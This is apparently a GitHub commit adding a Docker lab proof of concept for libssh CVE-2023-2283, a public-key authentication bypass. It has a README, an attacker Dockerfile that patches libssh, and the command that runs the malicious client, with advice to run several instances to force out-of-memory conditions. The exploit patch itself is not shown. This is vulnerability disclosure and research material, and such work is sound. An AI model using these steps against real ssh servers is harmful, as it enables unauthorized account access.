Skip to content

Commit 1786eaa

Browse files
Merge pull request #763 from kevinbackhouse/libssh-pubkey-auth-bypass-CVE-2023-2283
PoC for libssh CVE-2023-2283
2 parents 0b6ff51 + 79b4e6f commit 1786eaa

File tree

13 files changed

+606
-0
lines changed

13 files changed

+606
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
# Public key authentication bypass in libssh (CVE-2023-2283)
2+
3+
[CVE-2023-2283](https://securitylab.github.com/advisories/GHSL-2023-085_libssh/)
4+
is an authentication bypass vulnerability in
5+
[libssh](https://www.libssh.org/), which, under certain conditions, may
6+
enable a remote attacker to gain unauthorized access to another user’s
7+
account via ssh login.
8+
9+
This demo uses docker to simulate two computers, named "libssh-server"
10+
and "libssh-attacker". On libssh-server, we run `ssh_server_pthread`,
11+
which is a simple ssh server application that is [included as an
12+
example](https://gitlab.com/libssh/libssh-mirror/-/blob/e8322817a9e5aaef0698d779ddd467a209a85d85/examples/ssh_server.c)
13+
with the libssh source code. The server is configured to allow public
14+
key authentication with an ED25519 key, but the attacker does not know the
15+
private key. The attacker instead authenticates by triggering the vulnerability.
16+
17+
The vulnerability is triggered when `ssh_server_pthread` hits an
18+
out-of-memory condition at precisely the right moment. If libssh is
19+
running on a 64-bit server with plenty of RAM then it is very unlikely
20+
that an attacker will be able to generate enough memory pressure to
21+
cause an out-of-memory error, which means that the vulnerability is
22+
unlikely to be exploitable. The goal of this demo is, instead, to show
23+
that the vulnerability is exploitable if libssh is running in a
24+
memory-constrained environment such as a [memory-constrained
25+
container](https://docs.docker.com/config/containers/resource_constraints/),
26+
which we believe is a realistic scenario for a real-life libssh deployment.
27+
The demo uses `ulimit` to set a 256MB memory limit on the ssh server.
28+
29+
## Network setup
30+
31+
Create a docker network bridge, to simulate a network with two separate computers.
32+
33+
```
34+
docker network create -d bridge --subnet 172.18.0.0/16 libssh-demo-network
35+
```
36+
37+
## Server setup
38+
39+
Build the docker image:
40+
41+
```
42+
docker build server -t libssh-server --build-arg UID=`id -u`
43+
```
44+
45+
Start the container:
46+
47+
```
48+
docker run --rm --network libssh-demo-network --ip=172.18.0.10 -it libssh-server
49+
```
50+
51+
If you want to be able to debug the libssh server, then you need to start the container with some extra command line arguments:
52+
53+
```
54+
docker run --rm --network libssh-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-server
55+
```
56+
57+
Inside the container, run these commands to create ssh keys for the server:
58+
59+
```
60+
mkdir ~/testkeys
61+
ssh-keygen -P "" -t ecdsa -f ~/testkeys/id_ecdsa
62+
ssh-keygen -P "" -t rsa -f ~/testkeys/id_rsa
63+
```
64+
65+
Start the server:
66+
67+
```
68+
ulimit -v 262144 # 256MB
69+
~/libssh/build/examples/ssh_server_pthread -p 2022 -r ~/testkeys/id_rsa -e ~/testkeys/id_ecdsa -a ~/.ssh/authorized_keys 0.0.0.0
70+
```
71+
72+
Note: ssh servers normally listen on port 22, but root privileges are required to listen on 22, so this demo uses port 2022 instead. Use `sudo` if you want to change the port number to 22. The `sudo` password in this docker container is "x".
73+
74+
## Attacker setup
75+
76+
Build the docker image:
77+
78+
```
79+
docker build attacker -t libssh-attacker --build-arg UID=`id -u`
80+
```
81+
82+
Start the container:
83+
84+
```
85+
docker run --rm --network libssh-demo-network --ip=172.18.0.11 -it libssh-attacker
86+
```
87+
88+
If you want to be able to debug the client, then you need to start the container with some extra command line arguments:
89+
90+
```
91+
docker run --rm --network libssh-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it libssh-attacker
92+
```
93+
94+
The attacker uses a modified version of libssh. The modifications are in the file named `diff.txt` and are applied during the `docker build` step.
95+
96+
Run the malicious client like this:
97+
98+
```
99+
~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub
100+
```
101+
102+
The vulnerability is triggered when the ssh server has an out-of-memory error at the exact right moment, which means that the PoC is unreliable. It runs in a loop until it's successful, which can often take several minutes. You may also need to run several instance of the PoC simultaneously to generate enough memory pressure on the server. I suggest using `tmux` to open three terminals and start 3 instances of the PoC. When one of the PoCs succeeds, it creates a file named "success.txt", which notifies the other instances that they should stop.
103+
104+
Note: the PoC sometimes accidentally triggers a SIGSEGV in the server due to an unrelated [null-pointer dereference bug](https://gitlab.com/libssh/libssh-mirror/-/merge_requests/381). If this happens, you will need to restart the `ssh_server_pthread` process.
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
FROM ubuntu:22.04
2+
3+
ENV DEBIAN_FRONTEND=noninteractive
4+
5+
RUN apt-get update && \
6+
apt-get install -y \
7+
sudo tmux emacs git gdb cmake build-essential net-tools psmisc \
8+
libssl-dev zlib1g-dev libkrb5-dev libkrb5-dbg
9+
10+
ARG UID=1000
11+
12+
# Create a non-root user account to run libssh.
13+
RUN adduser attacker --disabled-password --uid $UID
14+
15+
# Grant the 'attacker' user sudo access. This is not used for the demo,
16+
# but it is often handy for installing extra packages.
17+
RUN adduser attacker sudo
18+
RUN echo "attacker:x" | chpasswd
19+
COPY home/ /home/attacker/
20+
RUN chown -R attacker:attacker /home/attacker
21+
22+
# Switch over to the 'attacker' user, since root access is no longer required
23+
USER attacker
24+
WORKDIR /home/attacker
25+
26+
# Clone and build libssh v0.10.4
27+
RUN git clone https://git.libssh.org/projects/libssh.git && \
28+
cd libssh && \
29+
git checkout e8322817a9e5aaef0698d779ddd467a209a85d85 && \
30+
git apply ~/diff.txt && \
31+
mkdir build && cd build && \
32+
cmake .. && \
33+
make -j $(nproc)
34+
35+
USER attacker
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
~/libssh/build/examples/ssh-client -p 2022 victim@172.18.0.10 ~/id_ed25519.pub
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Enable 256 colors
2+
set -g default-terminal "screen-256color"
3+
4+
# Enable using the mouse to switch windows.
5+
set -g mouse on
6+
7+
# Don't lose track of SSH_AGENT etc. from parent environment.
8+
set -g update-environment -r
9+
10+
# history buffer size
11+
set-option -g history-limit 100000

0 commit comments

Comments
 (0)